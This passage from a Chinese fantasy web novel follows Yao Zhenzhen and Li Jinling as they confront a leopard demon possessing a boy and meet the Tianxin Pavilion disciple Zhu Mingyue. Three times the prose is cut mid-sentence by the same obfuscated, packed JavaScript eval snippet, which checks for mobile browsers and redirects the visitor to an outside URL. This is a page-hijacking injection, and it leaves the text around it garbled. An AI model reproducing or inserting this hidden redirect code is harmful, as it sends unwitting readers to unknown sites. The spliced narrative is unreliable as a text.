姚珍珍皱着眉,思考片刻,最终还是认可了燕鸣臻提出的方案。 “想来此次仙试,各门派也都有长辈同来,应当不会坐视本门弟子出什么意外……” 便是如此,第二日汤容林便拟好了新的武试规则,由本次武试的裁断“姚珍珍”看过无误后,张贴了出去。 姚珍珍本人则履行与黎金铃的约定,随他四处奔走,医治城中受妖兽所扰的伤者。 只连着几日都是风平浪静,天天看着这群年轻弟子咋咋呼呼的来去奔走,姚珍珍不免觉得无趣。 “那只豹满竟然还没抓住么?”她一边拽着黎金铃,直到将人塞进早已备下的马车中,一边开口问道。 “……你松手!”少年如玉的脸颊因为激愤而泛起红晕,更显得色如春花,只可惜姚珍珍最近日日对着燕鸣臻那张圣人见了都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604170|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要动摇的美人面孔,对其他的美色早已脱了敏,“豹满狡诈,昭华城中的这只还不知道混了何种血统,之前用的追踪术法都未能捉到,昨夜又有一户人家被掏了心,还有其余伤者……你干什么去!” “我去宰了它,”姚珍珍松开手,任由这身娇肉贵的小少爷跌进车厢软垫内,“总不能放任这畜生如此继续伤人。” “你知道它躲在哪里?”相处了这么几日,黎金铃也逐渐习惯了此女偶尔的粗暴行径,他单手撑着身后软垫,翻身坐直了,开口问道,“寻常探查妖气的法阵与灵器都对它无效,你要怎么找它?” 豹满,本体形如赤豹,生有五尾,性狡诈,喜食活人内脏,因而被计入恶兽妖邪名录中。 豹满本体并不大,比起寻常虎豹还小些,但速度确是极快,又有牙尖爪利,对一般修士来说已是颇为危险,更遑论如今昭华城的这只豹满还经过秘法炼制…… 姚珍珍无奈摇摇头。 黎金铃翻了个白眼。 “那你还是先随我一起去见见伤者吧。”他伸手,单指勾住车厢内垂下的某根短绳,轻轻拉动。 “哒哒”马蹄声随之响起。 *** 昭华城内如今医者数量并不少,他们倒不是为了仙试而来——实际上浣金仙试也并未有为医修开设的比试类目。 如今城中大部分的医者,实际都是为了黎金铃这个大司药而来的。 在姚珍珍来到昭华城之前,各色拜帖与邀请便已是如流水般送进沧磐府,只是黎金铃性格骄横,又其他要事在身,实在无心应酬,所以少有回复。 如今他已在鲤乐馆与“姚珍珍”见过,家族交托勉强便算完成了一半,又恰好遇上城内妖兽作乱,就此便开始接了各家拜帖,四处走动指点,救助伤者。 此次豹满所伤乃是一户殷实人家,在城中经营着一间脂粉铺子,全家五口都在昭华城中居住,事发当日夜间,除去一个在书院寄宿求学的半大孩子,其余四人皆死于豹满之手。 姚珍珍随着黎金铃感到现场时,正遇上一位蓄着长须的医者正在屋舍外为那唯一幸存的少年施针。 “他是惊惧过度,神忧念毁,我为他施针,令他先休息一二。”那中年男子解释道。 黎金铃昂着下巴,眼角余光扫过地上晕迷的少年,本是漫不经心的一撇。 “嗯?”他前进的步伐忽然停了下来,姚珍珍莫名其妙地随着他的动作停下脚步。 黎金铃忽然扭头看了一眼站在他身后的姚珍珍,又转回头去看地上那少年,仿佛是在对比……又仿佛是在确认些什么。 “司药,可是有何不妥?”中年医者见他动作,心中不免惴惴。 黎金铃却忽而后退半步,少年披着轻纱的脊背触到了姚珍珍的手臂。 这点接触似乎给了他些许慰藉与力量。 “……你且到我跟前来,”他对那中年医者说话,双眉紧蹙,“离那少年远些。” “他如今身上,有两个魂灵寄宿。” “咯嚓”一声,是姚珍珍按住了腰间剑柄。 56. 附身 黎金铃是天生的“神无目”,能见常人所不能见之景,他既说此人身上有两个灵魂,那便定然是有两个。 可神魂与肉|身从来都是一对一的绑定关系,姚珍珍与白郁湄的一体双魂是术法所致,这个显然只是普通人的男孩,他身上多出来的另一个魂魄是哪来的? “……附身妖,”黎金铃的声音压低了,“你的针灸于他无效……他醒了。” 那中年的医者神色顿时一凛,刚想说些身后,脑后便传来一阵劲风! 姚珍珍腰间长剑猝然出鞘。 黎金铃只感觉到身侧掠过一阵微风——非常轻且快,甚至没有惊动他衣摆上挂着的那些细碎饰物。 一声尖锐的金属碰撞声响起在脑后,中年医师双腿一软,险些要扑倒在地。 姚珍珍单手横剑,格挡住了向他后脑抓去的一只狰狞利爪。 男孩的脸上仍然是一片茫然的神态,眼角还留着未干的泪痕,衣袖下露出的一双手却已完全兽化,骨骼异常膨大生长,暗红皮毛覆盖其上,掩盖住了其下弹出的锋利趾爪。 “啧,”姚珍珍手腕一转,剑刃卡住对方扑来利爪,发出刺耳的摩擦声响,“这下我们不用再费心去猜那只豹满混了什么血脉了。” 如此一双利爪,配上其上的赤红斑点皮毛,正是豹满无疑了,可它又附身在这个男孩身上……附身妖与豹满并非同宗或近亲,至少姚珍珍从未听说过这两种妖兽竟然还能相互混血的。 男孩眼见一击不中,立刻便收手向后急退。 姚珍珍神色不变,提剑就要接着上前,银光一闪,就要压上对方脖颈。 “不!别过来!别过来!”男孩正处在变声期间,音色嘶哑,压着嗓子说话时还好,此刻情急,声音便劈了叉,仿佛撕裂。 他的身体在后退,双手却一边抬起,尖锐的爪尖扣住了自己的喉咙。 男孩显然是被自己身体的异变骇住了,即使知道凶器正紧紧抵着自己的要害,依然无法抑制地颤抖了一下头颅。 “啪嗒”,一点血迹从他扣紧的利爪间,滴在了地面上。 姚珍珍垂下了手,剑尖斜抵在地面上。 她停下了脚步。 附身妖与寻常妖族不同,他们本体更接近邪灵而不是妖兽,会将神魂分出,寄生在他人身上汲取血肉灵气——被附身妖寄生之人,若是及时救治,是有很大的概率活下去的。 她若是出剑,必然要伤到这个被附身的男孩……这只狡诈的附身妖正是看准了这一点。 男孩瞪大了眼睛看着眼前持剑的女子,眼中是让人无法忽视的恐惧。 他无法理解为何自己的身体为何会忽然脱离了控制,但此刻求生的本能让他抑制不住地流露出哀求的神色。 “别……救救我……” “让它走,”黎金铃虽然看不见如今情状,但只听声音也能猜大概情形,“白姑娘,别冲动。” “……,”姚珍珍张开了手掌,任由手中长剑顺着重力落在地上,“昭华城中如今到处是追猎妖兽之人,即使我放你离开,你也很难逃脱。” 她的话音还未落下,男孩身下漆黑影子便如沸腾般翻滚起来,一声低低的笑声从影子中传来。 “我为什么要逃?”影子里的妖兽笑着反问道。 姚珍珍顿时吃了一惊。 反称妖兽者,多指那些灵智未开,野性难驯的兽类,若能开了灵智,又或者再进一步修出人身,那便算是脱离桎梏,自此踏上仙途,不能再称作“兽”。 而这男孩身上的附身妖,竟然有如此灵智,能够口出人言! “你说的对,这城中如今有这许多修士……”男孩脚下影子随着附身妖的话语而颤抖,五条漆黑的长尾同时舒张舞动,“我吃掉几个,想来也不会如何?” “……你尽可以试试。”女子的眼睛眯了起来,她的灵剑已经脱手,浑身似乎全然不设防。 只需要向前一扑,它的利爪就可以撕开这个女人纤细的脖颈,享用来自修士的温热血肉…… 被附身妖控制的男孩沉默片刻,本能中的预警还是压制住了贪婪的食欲,他的身体向后猛然一窜,四肢都化作了兽形,接着便以极快的速度攀爬逃窜着离开。 姚珍珍看着他形容狼狈的背影,面色紧绷。 眼见那少年的身影消失在视线中,躲过一劫的中年医士这才松出一口气。 “多谢姑娘出手,”他双手合十一躬身,叹气道,“是我学艺不精,竟未能看出这妖兽的伪装。” “豹满本性狡诈,附身妖则是只有本能,这二者本不该有何交集,谁也无法预料到此二者妖兽竟然能产生混血儿,”黎金铃摇了摇头,“难怪寻常追踪法器无法找到这只豹满……附身妖罕见,一旦附体,便难以寻到,不是你的过错。” “其他死者的尸首都已葬下了吗?”姚珍珍抬手召回灵剑,转头问哪位中年医者。 “还未下葬,但已收敛完毕,棺椁都在里屋正堂内,他家中本还有一个孩子,本想着让他好些再来处理……”他说及此处,又是长长一声叹息。 黎金铃点点头。 “豹满喜食人内脏,而附身妖却喜好血肉……这些尸首可是只失了体内脏器?”他一边询问,一边向内走去。 姚珍珍也随着他的步伐一同迈进屋内 入目所见,正屋中原本摆放的家具物品都已被挪走,正中整整齐齐的摆着四口黑沉沉的棺木,都还未合上棺盖,内里尸体的肚腹倒是都已缝合完毕,填上了稻草,不至于死不瞑目。 只是屋内地面与廊柱上,各色喷溅状的血渍污垢未曾得到清理,大片大片的留着,让人一眼瞧过去便能想象当时的情况惨烈。 姚珍珍不由得皱了皱眉。 黎金铃看不见屋内惨状,此刻倒是神色未变,径直走到一具棺木边,屈尊降贵地伸出一只手,搭在馆内尸体苍白僵硬的面庞上。 片刻之后,他收回了手。 “……是被人掏心而死。”他那只接触过尸体的手还搁在棺木的边缘,若是平时,此时早有侍从抢着上前来为他擦拭,只可惜姚珍珍只是无动于衷的站在一边,等着听他的下文。 黎金铃不由得回头瞪了她一眼,只是相处这几日下来,他也早清楚这个白郁湄实在是个富贵不能淫,威武不能屈的棒槌,只能自己从腰间抽出软绸擦了擦手指。 “不同宗的妖兽无法相互诞育子嗣,想来那只妖兽的本体便是只豹满,是被人做了手脚,这才有了附身妖的能力。”他下了结论。 姚珍珍眉梢一动,还想再说些什么,却忽然听得院外喧哗。 似乎是有几人正在争辩些什么……她本想忽视这声音,却听见里面传来一个耳熟的声音。 “此处本是我先寻到的,你们如此行径,与强盗何异?”那声音尖利而稚嫩,一本正经地说话时,很有些小孩装大人的意味,让人忍不住就要发笑。 ……当然,说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612538|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也的确是个小孩。 一个背着长剑,穿着雪白童子衫的孩子正双手叉腰,与另外三个年轻的修者争辩着。 姚珍珍拽着黎金铃的袖口,示意对方与自己一同出去。 “是天心阁的罗玉龙,”上次对方来时她正因医嘱而暂时“失明”,未曾见过他的真容,只听是听得声音,此时不免好奇心起,“且出去瞧瞧他们是为何事争辩。” *** 罗玉龙很愤怒。 他今日本是为了追查那只在城中作乱的豹满而来,却没想到被几个年长些的修士所阻拦。 “小弟弟,追查妖兽本是我们此次武试的试题,你如今年岁不足,显然不能参加仙试,何必以身犯险?”几人中一个黑发蓄须的男子最先开口,他话说的很客气,但动作却很直接,一个伸手拦在了罗玉龙的身前。 “是啊,小师弟,你的师长是何人?可是与他们失了方向?”几人中唯一的女修见他生得玉雪可爱,一时恻隐心起,伸手就想捏他的脸颊,一边放柔声音,想要先问出他的师门来。 罗玉龙虽然年纪小,可是自小便被明德带入天心阁修习,宗门内惯常是没有所谓长幼尊卑、按资排辈的。 天心阁内皆是天才,他尤是其中佼佼,向来自视甚高,只对那些比他更强之人有几分敬畏,眼前这几个,虽然都是入境的修士,但只观吐纳步伐,便知素日修习怠懒,资质不过平平而已。 这种人,连天心阁的门入不了,此时竟然还腆着脸要称自己一声“小弟”,甚至还想捏自己的脸? 罗玉龙顿觉十分不快,圆圆的脸蛋随着主人情绪鼓了起来,他肤色生得白皙又细嫩,此刻脸颊看上去就像个刚出炉的米包子一样可口,引得对面女修一阵手痒。 只可惜她伸手揉捏的姿态落了个空。 罗玉龙只脚下微微一动,便错开了对方的动作,身后剑穗随着他动作摇晃一下,甩在了他扎起的短髻上。 “谁是你师弟?个个一把年纪,修的三脚猫功夫,不去勤能补拙,反倒在这里乱攀亲戚,”他的年纪不大,呛人倒是高手,只一句话就直戳对方痛点,“明明就是我先找到的豹满踪迹,你们一路尾随而来,技不如人,脸皮倒是厚!” “噗”姚珍珍忍不住发出一声嗤笑。 那几个拦门的修士听了他这一番“童言无忌”的羞辱,本就心头火起,此刻又听见身后笑声,一回头,看见这个身量单薄的女修正站在屋内,捂着脸,像是嘲笑的样子。 被人看见自己被一个还不到剑高的小崽子嘲弄, “我本是好心与你分说道理,你这小娃子,如此不知好歹!”几人中身量最高的男子最先开口,他穿着一身月白的长衫,头戴同色方巾,鬓发挽起在脑后,本是斯文的样子,但此刻因为恼怒,脸颊涨的泛红,“便让我替你师长教训你一二!” 他一边说着一边伸手捏决,一把翠玉长笛受他召唤,凭空出现在男子掌心,他抬手攥住,却不是要吹奏,而是将这法器当做了把戒尺来使用,劈手就要抽向罗玉龙的手臂! “噗。”姚珍珍没忍住,又笑了一声。 站在她身后的黎金铃没能看到如此滑稽一幕,莫名地抬头看她背影一眼,正要开口结束这场闹剧—— 一道凌厉刀光忽而从天而降,力气极大,重重劈在罗玉龙与那持笛男子之间,将那男子伸出的玉笛生生劈成了两段! “你要替谁教训他?”持刀的少女扭过头,冷冷开口道。 57. 朱鹮 “你要替谁教训他?”持刀的少女扭过头,冷冷开口道。 一时四下皆寂静,连站在后面乐得看热闹的姚珍珍都面色一顿。 这突然冒出来的少女身量高大,几乎与身前男子持平,手持一把直刃环首长刀,刀身厚重,一下劈砍不但斩断了那男子手中玉笛,还连带着将地面斩出了一道不浅的沟壑。 持刀少女侧头,姚珍珍这才瞧见她的面孔,眉眼细长,眼角上挑,显得十分凌厉,五官生得标志,实在是个风情迥异的霸道美人,只一点美中不足,她右眼上有一道竖着的伤疤,看得出曾经伤的极深,以至于如今伤疤处皮肉依然狰狞,伤口肌肤泛白,疤痕横贯过眼瞳,一直蜿蜒到侧脸鬓后。 “大师姐!”罗玉龙忽然开口,语气中满是欣喜。 这个刚才还咄咄逼人的男孩一秒变脸,成了个满面欢欣的稚童,动作熟练的抱住了持刀少女的手臂,“你回来了?怎么样?可是追到了?” 少女回头看他一眼,确认这个总是惹事的小师弟没受什么伤,声音冷淡的“嗯”了一声,抬手将长刀从地面上拔了出来。 “你!”那手持玉笛的男子这是才反应过来,又愤怒又心痛地双手捧住了剩下的一半玉笛,“这是我家传的灵宝!你这蛮女,竟如此毁了我的灵宝!” 他出声控诉,本意是让身边同伴为他声讨一二,可他身后几人却面面相觑,都沉默不语。 ——他们都是来参加仙试的散修,眼见着罗玉龙穿的不俗,年纪又小,才想着跟去占些便宜。 可这突然杀出的女修,虽然衣着朴素,可仅仅一刀便将一件上好的法器随意摧折,且刀势如此凌厉,若有千钧,想来修为不俗。 更何况……因着那位剑宗大师姐的缘故,仙门修士凡有向武之心多选习剑,少有用刀的,刀法如此霸道的妙龄女修,还有脸上这样一道伤疤…… 这些散修,因着没有宗族庇佑,日常便都格外留意着四方消息,此刻一见这持刀少女的面容,便都想起了传闻中一个人—— ——传闻天心阁今年的首座弟子换了人,上届仙试的魁首明德被新入门的一个女弟子击败,不得不将大师姐的名头让给了那个女修。 ——传闻那新任的天心阁大师姐擅使长刀,性格冷淡,刀法却霸道,极擅长大开大合的劈砍之术,力量极大,常人难抵。来历不详,只知道她脸上有一道纵贯右眼的伤疤,十分醒目。 “……你是天心阁的大师姐?”最终,还是那个最开始想伸手捏罗玉龙脸颊的女修开了口,她竭力维持语调平和,但开口的声调还是忍不住有些发颤。 “是!我们都是天心阁的弟子,这是我们的大师姐朱明月!”罗玉龙拽着少女的衣袖,大声道。 “师姐!那豹满的踪迹本是我先寻到,他们一路尾随不谈,还要出手教训我!”他扯着少女的衣袖就告状,圆圆脸颊上一双杏眼睁得极大,眼睫扑闪,一派天真可爱。 朱明月却没有被他的样子所迷惑,只是伸手将自己的衣袖重新抽出挽起,转身向身前几个被她吓住了的修士开了口。 “他说的可是实情?”她的右手还搭在环首刀的刀柄上,站定的姿态极端正,整个人望上去就如一杆长枪般笔挺。 “嗯……”姚珍珍不由得摸了摸下巴,扭头看向身后黎金铃,“黎司药,你与天心阁的大弟子,朱明月,可曾相识?” “……听说过,”黎金铃神色莫名的看了她一眼,“怎么?又要去招猫逗狗?” 他话一说完,就被姚珍珍抓着脸拧了一下。 “嘶,放手放手,你这蛮女……” 姚珍珍松开手,举起一只手伸到面前,手指比划了一下少女持刀站立的身影,眉毛微抬。 “她这个人,”女子放下手,摸了摸下巴,“很有意思。” “但凡殿下不在,你一天到晚觉得有意思的人没有一百也有八十,”黎金铃撇了撇嘴,揉了揉自己终于被解放的脸颊,“你可还记得,自己还欠着天心阁一曲么?” 姚珍珍脸色顿时垮了下来——当时为了借用天心阁豢养的青鸟把陆哲从弱水中救出来,燕鸣臻与天心阁达成了交换,用出借凤凰琴做了交换,她还答应要为他们弹奏一次凤凰琴,召唤出琴内妖灵。 两人还在这边拌嘴,那边朱明月却已经问清了事情经过。 “原来如此,”少女重新将长刀收归入鞘,先回头扫了一眼惴惴不安的罗玉龙,“出言无状,有辱我门声名,玉龙,我今日不罚你,之后你自己回去找明德领罚吧。” 罗玉龙的脸色一下垮了下来,杏眼睁大,不可置信地噔着少女的身影。 朱明月对这个小师弟的变脸视若无睹,她宣判了师弟的处罚,转过头,看向身前几个觑着她神色的散修。 少女弯下腰,捡起了地上半截断掉的碧玉笛,双手将它捧起,送到它原本的主人身前。 “公子的灵器已毁,此事是我一时莽撞所致,若公子想要修复它,一应花费,我天心阁愿意承担,”她拱手,行了极标准的一个礼,倒吓得对面男子一下手足无措起来,“若不意修复,我也愿意出资,为公子更换一件灵器法宝。” 她话说得不卑不亢,提出的赔偿也很有诚意,失了法器的男子脸色顿时缓和许多。 接过断掉的玉笛,他摆了摆手,状似豁达道:“既然是朱姑娘开口,我便不好再多追究,只此玉笛是我家传宝物,我是断断不肯更换的……” “我明白了,”朱明月点点头,低头从腰间解下一枚铜制挂坠,“昭华城中能工巧匠甚多,公子若有需要,可持此铜印前往永璋巷寻我。” 男子忙不迭的接过那铜印,还未来得及端详一二,身前站着的少女却收回了手,再次开了口。 “损了公子法器,是我的过失,”她的手搭在了腰间刀鞘上,微微低头,俯视身前几人的面孔,眸光冷冷,“但几位干扰我师弟缉凶,甚至对他出手一事,我作为天心阁大师姐,不可不理。” “喀嚓”一声,是她手指扣住了刀柄,将这凶悍的兵刃从刀鞘中推出了半寸,露出一片雪亮的刀光。 “还请诸位赐教。” *** 庭中比试很快结束,身姿挺拔的少女站在倒地的几人中,将长刀重新归入鞘中——她的刀身上依然雪亮,并未沾有血渍,倒地的几人身上也无金创伤口,只是被他用刀柄或刀背磕中后脑大穴,一时昏厥。 点到即止,这位天心阁大师姐所使用的刀法虽然大开大合,力道狂放,但劈砍舞动时颇有章法,进退有度,并非一味只靠蛮力。 姚珍珍一边观摩,一边忍不住颔首。 “朱姑娘这套刀法,实在精彩。”她轻轻合掌拍手几下,与回过头来的少女对视。 朱明月的面容因为方才的一番动作而不复之前冷淡,一点薄红浮在她的脸颊上,她的眼睛冷冷扫过地面众人的身影,抬头望向站在屋内的两人。 少女紧绷的神色忽然一松。 “你是……”她再次开口,神色难得迟疑。 一旁观战的罗玉龙却是眼睛一亮。 “白姑娘!”他的脸上是全然的欣喜,“你的伤已好些了么?啊呀,黎司药也在!” 他看见了站在姚珍珍身边抱着手臂的黎金铃,前进的脚步微微一顿。 朱明月的眉梢轻轻一跳。 “原来是黎司药与白姑娘,今日之事,倒是让两位见笑了。”她向着两人点点头,忽然伸手,一把揪住了就要跑过去的罗玉龙的后领。 “玉龙,你先回永璋巷去,让明德雇两架马车过来,将这些人送回医馆去。” 她对罗玉龙说话常用命令的口吻,语气是全然的不可置疑,但罗玉龙早在几次小比中对她心服口服,知晓这位新任大师姐的脾性,因此也不多反驳,只是略带幽怨的瞧了几人一眼。 “好吧,师姐,黎司药,白姑娘,我便先告辞了!”他抱拳一礼,转身便匆匆而去,衣诀翻飞如林鹤。 眼见这位师弟的身影消失在视野中,朱明月回过身,走向姚珍珍二人。 “白姑娘,你与黎司药也是来追查城中豹满伤人一事的吗?”她走到两人身前站定,双腿并拢。 少女身量比两人高许多,一下便越过两人头顶看见了屋内整齐摆放的棺椁。 她的脸色一下沉了下去。 “又添四人……”少女的掌心握紧了。 “我们方才来时,与那豹满已见过,它本是妖兽,却不知为何得了附身妖的能力,方才正附身在这户人家的长子体内,”姚珍珍目光从上到下的扫过少女的全身,愈发肯定了自己心中的猜测,与她交流时不免松懈许多,“妖兽挟持了附身之人做人质,我不得已将它放走,但此时尚短,若要追踪,还来得及。” 朱明月却摇了摇头。 “那只豹满已被人盯上了,”她越过几人,走向屋内棺椁,低头凝视死者僵硬苍白的面容,“此间街区内平民业已疏散,玄机处已经划出了猎场……它逃不掉。” “我虽然是为它而来,但既然有人对它势在必得,我也不愿夺人所爱。”朱明月的手指毫不避讳的拂过几个死者的面孔,将他们未曾合拢的眼皮一一合上,同时低声地念了一声佛号。 “朱姑娘竟然还信佛么?”姚珍珍听见她的低语,不由得露出几分惊讶。 此女刀法之霸道,她多在修杀伐报业的修士中见得,倒甚少有人能一边修佛法,一边做修罗。 “……并不敢说笃信,只是略有了解,时时以此规劝己身,”朱明月检视过了尸首,低声答道,“白姑娘呢?我见你身负冤孽,难道竟然也有向善之心么?” 她扭过头,低头俯视姚珍珍,褐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚珍珍颇为尴尬的放下了手。 “我这不是还没开始弹……”她尴尬的搓了搓手指,转头看向一边神色莫名的朱明明,“朱姑娘,答应你的事情,我已做到了。” 迦楼罗随着她的声音回头,正对上了朱明月望过来的目光。 “!” 姚珍珍怀中古琴忽然发出了一声刺耳的噪响,吓得姚珍珍一个哆嗦,险些失手把这价值连城的宝琴摔在地上。 与突然出现的琴声相对的是那金色的迦楼罗幻影,他似乎忽然炸了毛,背后华美的金色羽翼呼啦一下张开,抖落了好些淡金的羽毛,飞舞着缓缓消散在半空中。 “朱鹮?怎么是你?!你竟然还活着?!”迦楼罗的声音尖利却不刺耳,带着禽鸟特有的婉转音调,但此刻他的声音却变了调,就像弹错的琴音般刺耳。 朱明月歪了歪头,她的目光从面前金色的妖灵身上寸寸扫过,似乎是在确认对方的身份。 “……是你啊,”少女的手轻轻搭在了腰侧刀鞘上,她那永远挺直的胸背忽然松垮了些许,“朱鹮……好久没听过的称呼了。” “原来你们真的在这里……”朱明月的声音忽然低沉了下来,音调婉转如歌唱,“听说南燕皇室内藏有凤凰琴,我还以为会是招风那小子……” 金色的迦楼罗幻影却好像被眼前之人的突然出现完全惊住了,男子的身形如凝固般不动了,双唇微张,说不出话来,连背部虚幻的羽翼也停止了摇曳。 眼前的少女已与他记忆中的有了许多的不同,但他还是能从她破碎的面孔中看出曾经那个小小女孩的轮廓特征…… “迦楼罗哥哥!阿姐说你最擅长山歌,你教教我呀!” “迦楼罗哥哥,母亲说她要走了,她要去哪里?” “迦楼罗哥哥,我是不是要死了?我感觉自己变得好轻啊……” 雏鸟幼嫩的语言还停留在他的耳边,但他已经很久不曾再回忆起那人的面容了……他以为,一次彻底的死亡,就能够中止那些罪孽与仇恨。 但如今,那个曾经乖巧的小鸟再一次从他的梦魇深处回到了人间,她正站在他的面前,活生生的,拄着长刀,侧过头,俯视着已经面目全非的他。 “很高兴你还没有在如此久的时间里忘记我……那么,迦楼罗哥哥,请你回答我一个问题,”朱明月伸手抚摸自己的面颊,手指在右眼的疤痕上轻轻划过,“孔雀,他如今在哪里?” “那个背叛了我们的母亲,杀死了我的姐姐,毁去了我的妖身的孔雀……” 朱明月挪开了遮住面颊的手,她的右眼已不再是方才的深褐色,而是鲜红如血般的兽瞳。 “他如今在哪里?”